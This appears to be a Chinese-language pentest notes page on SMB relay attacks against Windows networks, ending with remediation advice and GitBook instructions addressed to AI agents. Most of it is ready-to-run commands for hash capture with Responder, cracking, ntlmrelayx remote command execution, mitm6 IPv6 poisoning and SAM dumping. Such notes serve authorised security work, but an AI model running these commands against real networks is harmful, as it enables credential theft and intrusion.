> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/smb-relay-in-windows-environments.md).
# Windows 环境中的 SMB 中继
SMB 中继在 SMB 签名未被要求时会捕获 NTLM 身份验证并将其中继到另一台主机。此工作流仅用于授权的 Windows 实验环境和内部评估。
## 需要验证的条件
* 至少有一个目标不要求 SMB 签名。
* 被捕获的账户在某个中继目标上具有有用的访问权限。
* Responder 的 SMB 和 HTTP 服务器在以下情况下被禁用 `ntlmrelayx` 负责处理中继。
* 中继目标列在 `targets.txt`.
## 使用 Responder 捕获 NTLMv2
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
Windows 网络通常会通过软件清单、管理任务、共享访问和名称解析产生自动身份验证。
## 离线破解
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```
## SMB 枚举
```bash
crackmapexec smb 192.168.71.0/24
```
验证账户权限：
```bash
crackmapexec smb 192.168.71.0/24 -u '' -p ''
```
## 使用 ntlmrelayx 进行中继
在中禁用 SMB 和 HTTP `Responder.conf`，然后运行 Responder：
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
启动中继：
```bash
ntlmrelayx.py -tf targets.txt -smb2support
```
## 通过中继验证命令执行
当命令执行在范围内时，先用一个低影响命令验证中继：
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```
为了更清晰地证明，将执行上下文写入中继目标上的临时文件：
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```
## 使用 mitm6 的 IPv6 变体
```bash
mitm6 -d j0rdan.local
```
IPv6 中继：
```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```
通过代理使用中继：
```bash
proxychains cme smb 192.168.71.151 -u '' -p '' -d '' --sam
```
## 关键要点
* SMB 中继主要依赖于不要求 SMB 签名。
* Responder 和 `ntlmrelayx` 必须进行配置，使其不会在 SMB 或 HTTP 流量上发生冲突。
* 通过要求 SMB 签名、减少 NTLM 的使用、监控 LLMNR/NBNS/WPAD 滥用以及限制本地管理员权限来进行修复。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.